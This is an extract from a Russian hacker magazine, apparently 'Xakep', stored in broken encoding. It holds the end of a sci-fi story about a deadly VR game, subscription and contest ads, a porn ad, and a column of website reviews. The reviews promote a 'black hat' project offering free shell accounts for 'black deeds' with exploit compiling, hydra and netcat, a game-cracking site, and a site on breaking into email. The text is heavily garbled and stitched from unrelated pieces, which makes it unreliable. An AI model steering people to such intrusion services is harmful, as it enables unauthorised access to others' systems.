Ïîäõîäÿ â äîìó, Àíäðåé çàìåòèë, ÷òî â îêíå åãî êâàðòèðû ãîðèò ñâåò.
Îí ìîã ïîêëÿñòüñÿ, ÷òî âûêëþ÷àë åãî ïåðåä óõîäîì.

* * *
Îí îêàçàëñÿ ñîâåðøåííî â äðóãîì ìåñòå. Ýòî áûë êàêîé-òî ïåùåð-
íûé ãîðîä, îêóòàííûé ñóìåðêàìè è ñûðîñòüþ. Ïîâñþäó ñíîâàëè îäå-
òûå â òðÿïüå è øêóðû ëþäè. Ãðÿçíûå, ñóåòëèâûå, îíè íàïîìèíàëè
ìóðàâüåâ, êîòîðûå õàîòè÷íî ïåðåäâèãàþòñÿ ïî ìóðàâåéíèêó. Âíåø-
íå îíè áûëè ñîâåðøåííî íîðìàëüíûìè, òîëüêî êîæà ó âñåõ ÷ðåçìåð-
íî áëåäíàÿ, à ìóæ÷èíû âñå êàê îäèí � ñ áîðîäàìè. Íà Àíäðåÿ íèêòî
íå îáðàùàë âíèìàíèÿ.
� Ñêàæèòå, ãäå ÿ íàõîæóñü? � ñïðîñèë îí ó ïðîáåãàâøåãî ìèìî ÷åëîâåêà.
Òîò ñîâåðøåííî äèêèìè ãëàçàìè ïîñìîòðåë íà ÷óæàêà è, íå îòâåòèâ,
ðèíóëñÿ äàëüøå.
Âòîðàÿ è òðåòüÿ ïîïûòêè çàãîâîðèòü ñ òóçåìöàìè òîæå íå óâåí÷àëèñü
óñïåõîì. Òîãäà Àíäðåé ðåøèë èññëåäîâàòü ïåùåðû.
Ñòåíêè ãðîòîâ áûëè ãëàäêèìè, êàê áóäòî èõ êòî-òî ñïåöèàëüíî îòøëè-
ôîâûâàë, âäîëü êîðèäîðîâ ÷åðåç íåáîëüøèå ïðîìåæóòêè ãîðåëè ôà-
êåëû. Òàêæå ïîâñþäó áûëè âèäíû íàäïèñè íà íåïîíÿòíîì ÿçûêå. Ïî-
õîæèå íà èåðîãëèôû, íî ñ èçîáðàæåíèåì óðîäëèâûõ ÷åëîâå÷êîâ. Êî-
ðèäîðû ãðîòîâ ïåðèîäè÷åñêè ñìåíÿëèñü øèðîêèìè çàëàìè, ãäå òîëïè-
ëèñü ïåùåðíûå ëþäè è äåëàëè êàêóþ-òî ðàáîòó. Äîëáèëè êàìíè, âû-
÷åñûâàëè øêóðû æèâîòíûõ� îíè êàê áóäòî ñîøëè ñî ñòðàíèö øêîëü-
íûõ ó÷åáíèêîâ ïî èñòîðèè, ãäå ðàññêàçûâàëîñü î äðåâíèõ ëþäÿõ âî
âðåìåíà ìàìîíòîâ. Òîëüêî æèëè îíè ïîä çåìëåé, à íå íà ïîâåðõíîñ-
òè. Êàê ãëóáîêî � Àíäðåé íå çíàë, êàê è íå çíàë ãäå âûõîä. Îí ïîïû-
òàëñÿ ñíîâà îáðàòèòüñÿ ê ìåñòíîìó æèòåëþ, íî ëþäè îò íåãî øàðàõà-
ëèñü êàê îò ÷óìíîãî. Êðàåì ãëàçà îí âèäåë, êàê îíè òàéêîì øóøóêà-
þòñÿ ìåæäó ñîáîé, ãëÿäÿ íà íåãî.
Êîãäà Àíäðåé óæå óñòàë ïåòëÿòü â ëàáèðèíòàõ è ïðèñåë îòäîõíóòü íà
èñïåùðåííûé èåðîãëèôàìè âàëóí, ê íåìó ïîäîøëè äâîå òóçåìöåâ è
ñòàëè àêòèâíî æåñòèêóëèðîâàòü, âûêðèêèâàÿ íåïîíÿòíûå ôðàçû. Îíè
áûëè ïîõîæè íà ïåùåðíûõ ïîëèöåéñêèõ: íà ãðóäè íîñèëè çíàê â âèäå
òðåõêîíå÷íîé çâåçäû, à çà ïîÿñîì íîñèëè êîðîòêèå êàìåííûå äóáèíêè
� Õðóâà äàõà, ìóëãî òî, íó! � óñåðäñòâîâàë îäèí èç íèõ, ïîêàçûâàÿ íà
Àíäðåÿ è çàòåì íà êàìåíü.
Àíäðåé æåñòàìè îáúÿñíèë, ÷òî íå ïîíèìàåò.
� Íó! Íó! Ãàòà! � ïîâòîðèë ïåùåðíûé ïîëèöåéñêèé è Àíäðåé ïîíÿë,
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÷òî, ïðèñåâ çäåñü, îí ñîâåðøèë ÷òî-òî íåõîðîøåå. Ïîñëå òîãî êàê îí
âñòàë, òóçåìåö ïðèêàçàë ñëåäîâàòü çà íèì. 
Øëè îíè äîñòàòî÷íî äîëãî, è ïî ïóòè Àíäðåé óñïåë ïîíàáëþäàòü çà
çäåøíåé æèçíüþ. Êàê îí ïîíÿë, ðàçíûå çàëû ñëóæèëè äëÿ ðàçíûõ öå-
ëåé. Â îäíîì Àíäðåé ðàñïîçíàë áàçàðíóþ ïëîùàäü, â äðóãîì � èãîðíîå
çàâåäåíèå. ×åì äàëüøå, òåì ïðîõîä ñòàíîâèëñÿ ïðîñòîðíåå è óõîæåí-
íåå. Â êîíöå êîíöîâ òðîèöà îêàçàëàñü â îãðîìíîì õîëå, çàïîëíåííîì
ñòàëàêòèòàìè è ñòàëàãìèòàìè. Âìåñòî äàëüíåé ñòåíû íàä íèìè âîçâû-
øàëèñü áåòîííûå âîðîòà ñ âûäîëáëåííûìè íà íèõ ôèãóðêàìè ìèôè-
÷åñêèõ æèâîòíûõ. Ó âîðîò ñòîÿëè äåñÿòêè òóçåìöåâ. Îäíè îõðàíÿëè
âõîä ñ êàìåííûì îðóæèåì â ðóêàõ, äðóãèå äåðæàëè òîëñòûå âåðåâêè,
ïðèêðåïëåííûå ê âðàòàì. Êîãäà Àíäðåé ñ êîíâîåì ïîäîøëè, ïðèâðàò-
íèêè ïîòÿíóëè âåðåâêè, è ãèãàíòñêèå äâåðöû ñòàëè ìåäëåííî, ñ ãðîìû-
õàíèåì, îòêðûâàòüñÿ.
Ãëàçàì Àíäðåÿ îòêðûëñÿ ïðîñòîðíûé çàë, óêðàøåííûé êîëîííàìè è
ñòàòóÿìè. Â êîíöå åãî íà òðîíå ñèäåë ÷åëîâåê â îêðóæåíèè ñëóã. Ïðà-
âèòåëü ýòîãî ìåñòà.
Ïîëèöåéñêèå ïîäòîëêíóëè ïëåííèêà êî âõîäó è óäàëèëèñü, èõ ñìåíèëè
òóçåìöû, ñòîÿâøèå ó âðàò èçíóòðè. Îíè ïîäâåëè Àíäðåÿ íà áåçîïàñíîå
ðàññòîÿíèå ê ñâîåìó êîðîëþ è ñòàëè ïî áîêàì, ãîòîâûå â ëþáóþ ìèíóòó
íàáðîñèòüñÿ íà íåãî, åñëè ÷óæàê ñäåëàåò êàêóþ-òî ãëóïîñòü.
� Ïðèâåòñòâóþ, âëàäûêà. ß ïðèøåë ñ ìèðîì! � ñîîáùèë Àíäðåé, âñïîì-
íèâ îáðàùåíèÿ ê êîðîëÿì èç ôýíòåçè-êíèã.
Ïåùåðíûé êîðîëü áûë êðóïíåå âñåõ îñòàëüíûõ æèòåëåé, âåñü â áåëûõ
ìåõàõ, ïîä÷åðêèâàþùèõ åãî ïîëîæåíèå. Íà íåì íå áûëî êîðîíû, íî
ëèöî çàêðûâàëà ìàñêà, óêðàøåííàÿ òàêèìè æå èåðîãëèôàìè, êàêèå
Àíäðåé âèäåë íà ñòåíàõ.
� Ñ ìèðîì, ãîâîðèøü, ÷óæåçåìåö? � âîñêëèêíóë ÷åëîâåê íà òðîíå.
Àíäðåé îáëåã÷åííî âçäîõíóë. Õîòü êòî-òî â ýòîì ìåñòå åãî ïîíèìàåò.
� Çà÷åì òîãäà òû ïûòàëñÿ îñêâåðíèòü «Êàìåíü Ïàìÿòè»?
� Íå çíàë ÿ, âëàäûêà, ÷òî ýòî «Êàìåíü Ïàìÿòè». Èíà÷å íå ïîñìåë áû.
� Êòî òû è êàê ïîïàë òû â ìîè âëàäåíèÿ?
� Çîâóò ìåíÿ Àíäðåé. À êàê ïîïàë � äëÿ ìåíÿ ñàìîãî çàãàäêà.
� Íèêòî íå ìîæåò îêàçàòüñÿ â ïîäçåìíîì öàðñòâå Êàìåíîéë ñëó÷àéíî.
Îòâå÷àé ìíå! � ãðîçíûé ãîëîñ êîðîëÿ ïîêàçàëñÿ Àíäðåþ çíàêîìûì.
� Íå ãíåâàéòåñü, ïðàâèòåëü. ß âïåðâûå â ýòèõ çåìëÿõ è çàáëóäèëñÿ.
� Òû çíàåøü, êàêàÿ ñóäüáà ïîñòèãàëà òâîèõ ïðåäøåñòâåííèêîâ?
� Íå çíàþ, ïðàâèòåëü, � îòâåòèë Àíäðåé, õîòÿ äîãàäûâàëñÿ, ÷òî íè÷åãî
õîðîøåãî èõ çäåñü æäàòü íå ìîãëî.
� Íåìèíóåìàÿ, ìó÷èòåëüíàÿ ñìåðòü. Ó òåáÿ åñòü åäèíñòâåííàÿ âîçìîæ-
íîñòü èçáåæàòü åå � âûäàòü èñòèííóþ ïðè÷èíó ñâîåãî ïîÿâëåíèÿ çäåñü!
Èíà÷å ïåíÿé íà ñåáÿ.
� Íî, âëàäûêà, ÿ äåéñòâèòåëüíî îêàçàëñÿ çäåñü ïî ÷èñòîé ñëó÷àéíîñòè,
è, óâèäåâ, êàê èñêðèâèëîñü îò ãíåâà ëèöî ïîäçåìíîãî ïðàâèòåëÿ, Àíäðåé
ïîíÿë, ÷òî ñîâåðøèë îøèáêó. Íî áûëî óæå ïîçäíî.

Êîðîëü íà òóçåìíîì ÿçûêå ÷òî-òî ïðèêàçàë ñâîèì ñëóãàì, ïîêàçûâàÿ íà
ïëåííèêà, è îíè òóò æå ñêðóòèëè åãî ðóêè.
� Òû áóäåøü êàçíåí. Íåìåäëåííî.
Íî òàê ïðîñòî Àíäðåé ñäàâàòüñÿ íå ñîáèðàëñÿ. Â íåì òîæå ïðîñíó-
ëàñü çëîñòü, îòòîãî ÷òî íèêòî äàæå íå ñîáèðàëñÿ âûñëóøàòü ïëåí-
íèêà, íå ãîâîðÿ óæå î òîì, ÷òîáû îêàçàòü åìó ðàäóøíûé ïðèåì.
Çëîñòü ïðîøëàñü ïî âñåìó òåëó, è Àíäðåé îùóòèë â èçìåíåíèÿ â
íåì. Íà ëèöàõ òóçåìöåâ ïîÿâèëèñü óäèâëåíèå è óæàñ: îíè ñìîòðåëè,
êàê òåëî ïëåííèêà ïðèíÿëîñü èñòî÷àòü êðàñíûé ñâåò, à âìåñòå ñ íèì
� æàð. Îõðàííèêè, òîëüêî ÷òî äåðæàâøèå åãî çà ðóêè, ðóõíóëè íà
ïîë è êîðÿ÷èëèñü îò áîëè, èõ ïåð÷àòêè äûìèëèñü è èñòî÷àëè çàïàõ
ïàëåíîé êîæè.
Àíäðåé íå ñîáèðàëñÿ óáèâàòü ñâîèõ îáèä÷èêîâ. Íî îñòàíîâèòü ïðîñíóâ-
øóþñÿ â íåì ñèëó íå ìîã. Ëþäè, íàõîäÿùèåñÿ â çàëå, ïàäàëè îäèí çà
äðóãèì, îõâà÷åííûå ïëàìåíåì. Ïîñëåäíèì íà ïîëó îêàçàëñÿ ïîäçåì-
íûé êîðîëü. Æàð, èñõîäÿùèé èç òåëà Àíäðåÿ, òóò æå ñïàë. Îí ïîäîøåë
ê òðîíó, ïåðåâåðíóë âëàäûêó íà ñïèíó è ñíÿë ñ íåãî ìàñêó.
Íà íåãî ìåðòâûìè ãëàçàìè ñìîòðåë åãî ëó÷øèé äðóã Æîðèê.

* * *
Àíäðåé ñîðâàë ñ ñåáÿ î÷êè.
� Êàêîãî ÷åðòà? � âûðóãàëñÿ îí. Ýòî áûëî áåññìûñëåííî. Êàêèì îáðà-
çîì «ÂÐÈ» ìîãëà âîñïðîèçâåñòè â Ìåçå îáðàç åãî äðóãà? Ìîæíî áûëî
äîïóñòèòü, ÷òî Æîðèêà òîæå êàêèì-òî îáðàçîì îêàçàëñÿ â êîìàíäå òåñ-
òåðîâ è ïîïàë â ýòîò ìèð, íî ïî÷åìó îí âåë ñåáÿ òàê, êàê áóäòî îíè íå
çíàêîìû? Îíè âäâîåì èãðàëè âî ìíîæåñòâî èãð, äàæå ïîçíàêîìèëèñü
ìíîãî ëåò íàçàä â Lineage 2. È âñåãäà ïóòåøåñòâîâàëè âìåñòå, ïîìîãàÿ
äðóã äðóãó�
Ëó÷øèì ñïîñîáîì âñå óçíàòü, áûëî ïîçâîíèòü ñàìîìó Æîðèêó.
Àíäðåé íàáðàë íîìåð åãî ìîáèëüíèêà, íî òåëåôîí ìîë÷àë. Â àñüêå åãî
òîæå íå áûëî. Àíäðåé ïðîäîëæàë çâîíèòü. Íàêîíåö, íà 6-é ðàç åìó îò-
âåòèë ðûäàþùèé ãîëîñ ìàòåðè äðóãà. Àíäðåé ñìóòèëñÿ, óñëûøàâ
âñõëèïûâàíèÿ, íî ñïðîñèë:
� Çäðàâñòâóéòå. À Æîðó ìîæíî?
Ñëîâà ïîñûïàëèñü íåïðåðûâíûì ïîòîêîì, è Àíäðåé ñ òðóäîì ïûòàëñÿ
ðàçîáðàòü, ÷òî ïûòàåòñÿ åìó ñêàçàòü æåíùèíà.
� Îí ñèä..äåë, êóø..øàë íà êóõíå, ï..ïîòîì� ß í..íå çíàþ. Îí ï..ïðîñ-
òî ñòàë ãîðåòü íà ã..ãëàçàõ. Ê..êîæà çàï..ïóçûðèëàñü. Ãîñïîäè, äà ÷òî æå
ýòî? � ðûäàëà æåíùèíà. � Àíäðþøà, ýòî òû? Îé ã..ãîðå-òî. ß ñêîðóþ
âûçâàëà, ñ..ñåé÷àñ ïðèåäóò. Ãîñïîäè ïîìèëóé!
Àíäðåé ñáðîñèë ðàçãîâîð è â êàêîé-òî ïðîñòðàöèè ïîñìîòðåë íà ýêðàí
ñ çàñòûâøèì íà íåì òðîííûì çàëîì. Â ýòîò ìîìåíò â êîðèäîðå êâàðòè-
ðû, òèõî ñêðèïíóâ, îòêðûëàñü âõîäíàÿ äâåðü.

Ïðîäîëæåíèå ñëåäóåò 





Êàê îôîðìèòü çàêàç?
1 Çàïîëíèòü êêóïîí èè êêâèòàíöèþ
2 Ïåðå÷èñëèòü ññòîèìîñòü ïïîäïèñêè ÷÷åðåç ÑÑáåðáàíê 
3 Îáÿçàòåëüíî ïïðèñëàòü ââ ððåäàêöèþ êêîïèþ îîïëà÷åííîé êêâèòàíöèè 

ñ ÷÷åòêî ççàïîëíåííûì êêóïîíîì ëëþáûì èèç ïïåðå÷èñëåííûõ ññïîñîáîâ: 
ïî ýëåêòðîííîé ïî÷òå: subscribe@glc.ru; 
ïî ôàêñó: 780.88.24;
ïî àäðåñó: 107031, Ìîñêâà, Äìèòðîâñêèé ïåðåóëîê, ä. 4, 
ñòðîåíèå 2, ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

ÂÍÈÌÀÍÈÅ!
ïîäïèñêà îôîðìëÿåòñÿ â äåíü îáðàáîòêè êóïîíà è êâèòàíöèè.
êóïîíû, îòïðàâëåííûå ïî ôàêñó èëè ýëåêòðîííîé ïî÷òå, îáðàáàòûâàþòñÿ â òå÷åíèå 5 ðàáî÷èõ äíåé.
êóïîíû, îòïðàâëåííûå ïî÷òîé íà àäðåñ ðåäàêöèè îáðàáàòûâàþòñÿ â òå÷åíèå 20 äíåé.

ÐÅÊÎÌÅÍÄÓÅÌ ÈÑÏÎËÜÇÎÂÀÒÜ ÝËÅÊÒÐÎÍÍÓÞ ÏÎ×ÒÓ ÈËÈ ÔÀÊÑ.

Ïîäïèñêà ïðîèçâîäèòñÿ ñ íîìåðà, âûõîäÿùåãî ÷åðåç îäèí êàëåíäàðíûé ìåñÿö ïîñëå îïëàòû. 
Íàïðèìåð, åñëè ïðîèçâåñòè îïëàòó â ñåíòÿáðå, òî ïîäïèñêó ìîæåíî îôîðìèòü ñ íîÿáðÿ.
ÏÎ ÂÂÑÅÌ ÂÂÎÏÐÎÑÀÌ, ÑÂßÇÀÍÍÛÌ ÑÑ ÏÏÎÄÏÈÑÊÎÉ, ÇÇÂÎÍÈÒÅ ÏÏÎ ÁÁÅÑÏËÀÒÍÛÌ ÒÒÅËÅÔÎÍÀÌ:
935-770-334 (ÄËß ÌÎÑÊÂÈ×ÅÉ) È 8-8800-2200-33-9999 (ÄËß ÐÅÃÈÎÍÎÂ È ÀÁÎÍÅÍÒÎÂ ÌÒÑ, ÁÈËÀÉÍ,
ÌÅÃÀÔÎÍ). ÂÂÑÅ ÂÂÎÏÐÎÑÛ ÏÏÎ ÏÏÎÄÏÈÑÊÅ ÌÌÎÆÍÎ ÏÏÐÈÑÛËÀÒÜ ÍÍÀ ÀÀÄÐÅÑ: IINFO@GLC.RU

Ïîäïèñêà 
äëÿ þðèäè÷åñêèõ ëèö

Ìîñêâà: ÎÎÎ "Èíòåð-Ïî÷òà", 
òåë.: 500-00-60, e-mail: inter-post@sovintel.ru
Ðåãèîíû: ÎÎÎ "Êîðïîðàòèâíàÿ ïî÷òà",
òåë.: 953-92-02, å-mail: kpp@sovintel.ru
Äëÿ ïîëó÷åíèÿ ñ÷åòà íà îïëàòó ïîäïèñ-
êè íóæíî ïðèñëàòü çàÿâêó ñ íàçâàíèåì
æóðíàëà, ïåðèîäîì ïîäïèñêè, áàíêîâñ-
êèìè ðåêâèçèòàìè, þðèäè÷åñêèì è ïî÷-
òîâûì àäðåñîì, òåëåôîíîì è ôàìèëè-
åé îòâåòñòâåííîãî ëèöà çà ïîäïèñêó.
www.interpochta.ru

«Õàêåð»+2 CD

840ð ÇÀ 6 ÌÅÑßÖÅÂ 

1620ð ÇÀ 12 ÌÅÑßÖÅÂ

«Õàêåð»+DVD

990ð ÇÀ 6 ÌÅÑßÖÅÂ 

1920ð ÇÀ 12 ÌÅÑßÖÅÂ

«Õàêåð»+«Õàêåð »

1830ð ÇÀ 6 ÌÅÑßÖÅÂ 

3600ð ÇÀ 12 ÌÅÑßÖÅÂ

Cïåö »
ÇÀÊÀÇ ÆÓÐÍÀËÀ Â ÐÅÄÀÊÖÈÈ

ÇÀÀÊÊÀÀÆÆÈ 

ÆÆÓÐÐÍÀÀËË 

ÂÂ ÐÐÅÄÀÀÊÊÖÖÈÈ 

È ÑÑÝÝÊÊÎÎÍÎÎÌÌÜÜ 

ÄÅÍÜÜÃÃÈ!!!!!!



ÏÏÎÎÄÄÏÏÈÈÑÑÍÍÎÎÉÉ ÊÊÓÓÏÏÎÎÍÍ
Ïðîøó îîôîðìèòü ïïîäïèñêó:



30000 ÐÐÓÁËÅÉ ÑÑÀÌÛÌ ÎÎÒÂÀÆÍÛÌ
Áàáëî ïîáåæäàåò çëî

ÏÅÐÂÛÉ ÏÐÈÇ � 30000 ÐÓÁËÅÉ
ÂÒÎÐÎÉ ÏÐÈÇ � 17000 ÐÓÁËÅÉ
ÒÐÅÒÈÉ ÏÐÈÇ � 13000 ÐÓÁËÅÉ



Âñå î÷åíü ïðîñòî! Äåíüãè ìîæåò ïîëó÷èòü ëþáîé! Áåç îáìàíà, óæå ñ ÍÄÑ è ÍÑÏ, áåç íàëîãà
íà ïðèáûëü, ñ ðàçðåøåíèåì ó÷àñòâîâàòü â èãðå âñåé ñåìüå, áåç îãðàíè÷åíèé ïî âîçðàñòó.
Âñå ÷òî îò òåáÿ òðåáóåòñÿ � èçîáðàçèòü ëîãîòèï Õàêåðà íà ëþáîé ïîâåðõíîñòè, 
îò ñîáñòâåííîãî ëáà äî êðûøè Ïåíòàãîíà :).*

Îáÿçàòåëüíî ñäåëàòü ôîòêó ñâîåãî øåäåâðà, è ïðèñëàòü åå íàì â õîðîøåì êà÷åñòâå 
(íå ìåíåå 1024õ768). Íàøè ìåãà-äèçàéíåðû âëåãêóþ ïðîáüþò ôîòîìîíòàæè, ò.÷. äàæå íå ïàðüòåñü 
íàñ ïîèìåòü :). Àêöèÿ íà÷èíàåòñÿ ïðÿìî ñåé÷àñ, òâîðè è ôîòêàé. Ñâîè ôîòêè ïðèñûëàé íà
30000@real.xakep.ru.

*Àõòóíã! Ýòè äâà âàðèàíòà óæå èñïîëíåíû íàìè è â êîíêóðñå íå ó÷àñòâóþò. 

30000



Sign Up 
CLICK HERE to Get your ID

and download THOUSANDS

OF XXX flicks NOW 

login:           rruussssoo__ttuurriissttoo

password: ******
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RuSS1AN 
BLACKHAT Pr0jeCT
http://blackhat.fuckru.net
Åñëè òû êðóòîé Black Hat, òî ìîæåøü ïîëó÷èòü
êðóòîé ssh/scp øåëë-àêêàóíò áåñïëàòíî è èñ-
ïîëüçîâàòü åãî äëÿ ëþáûõ ÷åðíûõ äåë.
BlackHat Project � ýòî ðóññêèé undeground-ïðî-
åêò, ãäå ïðîèñõîäèò îáìåí çíàíèÿìè î ñóùåñò-
âóþùèõ óÿçâèìîñòÿõ è ìåòîäàõ èõ ýêñïëóàòà-
öèè. Âîò ëèøü íåêîòîðûå õàðàêòåðèñòèêè ïðå-
äîñòàâëÿåìîãî øåëëà: 30 Ìá äèñê, socks 4/5,
êîìïèë ýêñïëîéòîâ. Äîñòóïíû ñëåäóþùèå ïðè-
ëîæåíèÿ: ftp, ssh, BitchX, perl, john, proxychains,
links, wget, hydra, nmap, netcat è ïð.

Reverse-Engineering
Malware
www.zeltser.com/reverse-mmalware-ppaper
Äàííàÿ ñòðàíèöà ïîñâÿùåíà äîâîëüíî ðåäêîé
òåìå � äèçàññåìáëèðîâàíèþ è èññëåäîâàíèþ
çëîâðåäíîãî êîäà (âèðóñîâ, òðîÿíîâ, ÷åðâåé è
ò.ï.). Ðàññêàç âåäåò àâòîðèòåòíûé ñïåö èç èíñ-
òèòóòà SANS � Ëåííè Çåëüòöåð (Lenny

Zeltser). Òàì æå ìîæíî ïðèîáðåñòè åãî êíèãó,
íàïèñàííóþ ñ ñîàâòîðîì: Malware: Fighting
Malicious Code (ñêàæó ïî ñåêðåòó: ýòó êíèãó
ìîæíî ëåãêî íàéòè â ýëåêòðîííîì âèäå â Ñå-
òè). Êðîìå òîãî, Ëåííè âåäåò ìíîæåñòâî äðó-
ãèõ êóðñîâ, î êîòîðûõ ìîæíî óçíàòü íà çàãëàâ-
íîé ñòðàíèöå ñàéòà www.zeltser.com. 

CUBE OS
http://osdev.ru
Õîõîë ïî èìåíè Îëåã ðåøèë çàêîëáàñèòü ñâîþ
îïåðàöèîííóþ ñèñòåìó. ×òî ýòî áóäåò çà îïå-
ðàöèîíêà, òû óçíàåøü íà åãî ñàéòå. Çäåñü æå
îòìå÷ó ñàìîå âàæíîå: Îëåã ñîáðàë ó ñåáÿ íà
ñàéòå ïðîñòî âîðîõ ïîëåçíåéøåé äîêóìåíòà-
öèè, èíòåðåñíîé ìíîãèì, íàïðèìåð: ñïåöèôè-

êàöèÿ PCI BIOS, ïðîãðàììèðîâàíèå ñåðèéíîãî
ïîðòà, êîíöåïöèè íàíîÿäðà, ïðîãðàììèðîâà-
íèå PC-ñïèêåðà, îïèñàíèå èñïîëüçîâàíèÿ VFS
ïîä Linux'îì, îïèñàíèå òåõíîëîãèè Hyper-
Threading, íàïèñàíèå ïðîñòîãî äðàéâåðà äëÿ
ñåòåâîé êàðòû è ò.ä.

Ñëóæáà
áåçîïàñíîñòè
http://sb.adverman.com 
Âîîáùå-òî, ýòîò ñàéò íå òîëüêî îá èíôîðìà-
öèîííîé áåçîïàñíîñòè, íî è î áåçîïàñíîñòè
áèçíåñà, ïåðñîíàëüíîé áåçîïàñíîñòè, îõðàí-
íûõ óñëóãàõ è ñèñòåìàõ, àíòèòåððîðå, ðàçâåä-
êå è êîíòððàçâåäêå, òåõíèêå è òåõíîëîãèÿõ, è
ïð. Êó÷à èíòåðåñíîé èíôîðìàöèè äëÿ ñïåöîâ
è íà÷èíàþùèõ! Âîò ëèøü íåêîòîðûå íàçâàíèÿ
ìàòåðèàëîâ: «Çàùèòà GSM è êàê åå ìîæíî
âñêðûòü», «Ñïîñîáû âçëîìà ïî÷òû», «Øïèî-
íñêèå ïðîãðàììû è íîâåéøèå ìåòîäû çàùèòû
îò íèõ», «Êàê îòêîñèòü îò àðìèè», «Êàê ïèòü
íå ïüÿíåÿ» è ò. ä.



[X
À

Ê
Å

Ð
1

1
 [

8
3

] 
0

5
 >

 Þ
Í

È
Ò

Û
1

4
1

]

WWW -units
Èâàí Ñêëÿðîâ (www.sklyaroff.ru)
Èâàí Êóçíåöîâ aka SeeD (seed@nsk.ru)

Game 
Hacking University
www.ghu.as.ro
Êðóòîé êðýêåðñêèé ñàéò, ñïåöèàëèçèðóþùèé-
ñÿ íà âçëîìå èãðóøåê. Õî÷åøü óçíàòü, êàê
êðýêíóòü Quake2/3, StarCraft, Beavis and
Butthead, Minesweeper? Åñëè äà, òî áåãîì íà
ýòîò ñàéò çà ïîäðîáíûìè òóòîðèàëàìè. Ñóäÿ
ïî äîìåíó, ïðîåêò ïðèíàäëåæèò ðóìûíàì, íî
ïî÷òè âñÿ èíôîðìàöèÿ ïðåäñòàâëåíà íà àíã-
ëèéñêîì. Èãðóøêàìè ñàéò íå îãðàíè÷èâàåòñÿ,
èìååòñÿ êó÷à ñòàòåé ïî äðóãèì êðýêåðñêèì òå-
ìàì, à òàêæå òóëçû, êðýêìèñû, ññûëêè è ïð.
Àâòîðû íå îãðàíè÷èâàþòñÿ âçëîìîì òîëüêî
ïîä Win-ïëàòôîðìîé � íå çàáûòû è íèêñû.

Êðóãîì ãàäæåòû
http://gizmoz.ru
Åùå íåñêîëüêî ëåò íàçàä ñëîâî «ãàäæåò» íå
áûëî øèðîêî èçâåñòíî îáû÷íîìó îáûâàòåëþ,
ëþäè îáõîäèëèñü áåç ýòèõ ïîëåçíûõ â îáèõîäå
è ïðèçâàííûõ îáëåã÷èòü è ïðèóêðàñèòü íàøó ñ
âàìè æèçíü âåùåé. Õîòÿ äåðåâÿííûå ñ÷åòû è
íàñòîëüíûå ëàìïû ñ ÷àñàìè è ãîðäûì íàçâà-

íèåì «Ýëåêòðîíèêà-85» ñ î÷åíü áîëüøîé íà-
òÿæêîé è ìîæíî íàçâàòü ãàäæåòàìè ïðîøëîãî.
Ñåãîäíÿøíåå ñâåðõáûñòðîå ðàçâèòèå òåõíî-
ëîãèé âûïëåñíóëî íà ðûíîê ïðîñòî îãðîìíóþ
êó÷ó âñåâîçìîæíûõ ïîëåçíûõ âåùåé. Ñàéò,
ðåãóëÿðíî îáíîâëÿÿñü, ïîñòîÿííî ïóáëèêóåò
âñå íîâîñòè èç ìèðà ãàäæåòîâ. Ïðîèçâîäÿòñÿ
îáçîðû è òåñòèðîâàíèÿ ïîÿâëÿþùèõñÿ íîâûõ
äåâàéñîâ, ñîïðîâîæäàåìûå êîììåíòàðèÿìè
ïîñåòèòåëåé ðåñóðñà. Äåâèç ñàéòà � ðàññêà-
çàòü ïðàâäèâî îáî âñåõ ãàäæåòàõ, íà÷èíàÿ ñ
ïûëåñîñà äëÿ êëàâèàòóðû è çàêàí÷èâàÿ usb-
äèâàíîì ñ ôóíêöèÿìè ïîäîãðåâà ïèööû, mp3
ïëååðîì è DVD. 

Ðîáîòû àòàêóþò!
www.roboclub.ru
Ïîêà ÷òî ðàçâèòèå ðîáîòîòåõíèêè íå äâèæåòñÿ
âïåðåä ñåìèìèëüíûìè øàãàìè. Âåðíåå ñêà-
çàòü, òåõíîëîãèè ñîçäàíèÿ ðîáîòîâ, êîíå÷íî,
ðàçâèâàþòñÿ è ñîâåðøåíñòâóþòñÿ. Âçÿòü õîòÿ
áû, ê ïðèìåðó, òàêèå âîåííûå ðàçðàáîòêè, êàê

áåñïèëîòíûå ñàìîëåòû è ðîáîòû-ñàïåðû, êî-
òîðûå ìîãóò ñîâåðøàòü îïðåäåëåííûå
äåéñòâèÿ áåç ïîñòîÿííîãî êîíòðîëÿ è âìåøà-
òåëüñòâà ÷åëîâåêà. Íî äëÿ íàñ ñ âàìè çíàêîì-
ñòâî ñ ðîáîòàìè, â êëàññè÷åñêîì èõ ïîíèìà-
íèè, ïðîèñõîäèò ðàçâå ÷òî ñ óìíîé ñîáà÷êîé
Àéáî äà áîÿìè ðîáîòîâ, òðàíñëèðóåìûõ ïî òå-
ëåâèçîðó. Íî íå ñòîèò îò÷àèâàòüñÿ, ðåñóðñ
www.roboclub.ru ïîìîæåò íàì áëèæå ïîçíàêî-
ìèòüñÿ ñ ðîáîòàìè è ìèðîâîé ðîáîòîòåõíèêîé
â öåëîì. Ýòî ñàìûé äîëãîæèâóùèé è îáøèð-
íûé ñàéò äàííîé òåìàòèêè â ðóíåòå. Íà íåì
ïîëíî èíôîðìàöèè, êîòîðàÿ ñïîñîáíà óäîâ-
ëåòâîðèòü ñàìîãî òðåáîâàòåëüíîãî è èñêóøåí-
íîãî ïîëüçîâàòåëÿ. Êëóá êîíñòðóêòîðîâ, ñîîá-
ùåñòâà ðîáîòîòåõíèêîâ-ëþáèòåëåé, ïàíîðàì-
íûé îáçîð íîâîñòåé ïî òåìå ðîáîòîâ, ïîñòîÿí-
íî îáíîâëÿåìûé êîíòåíò è åùå êó÷à âñåãî èí-
òåðåñíîãî  
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fack
FAQ comments:
step
FAQ@REAL.XAKEP.RU
_UNITS

-unitÇÀÄÀÂÀß ÂÎÏÐÎÑ, ÏÎÄÓÌÀÉ! ÍÅ ÑÒÎÈÒ ÌÍÅ ÏÎÑÛ-
ËÀÒÜ ÂÎÏÐÎÑÛ, ÒÀÊ ÈËÈ ÈÍÀ×Å ÑÂßÇÀÍÍÛÅ Ñ ÕÀ-
ÊÎÌ/ÊÐÝÊÎÌ/ÔÐÈÊÎÌ � ÄËß ÝÒÎÃÎ ÅÑÒÜ HACK-FAQ
(HACKFAQ@REAL.XAKEP.RU), ÍÅ ÑÒÎÈÒ ÒÀÊÆÅ ÇÀÄÀ-
ÂÀÒÜ ÎÒÊÐÎÂÅÍÍÎ ËÀÌÅÐÑÊÈÅ ÂÎÏÐÎÑÛ, ÎÒÂÅÒ ÍÀ
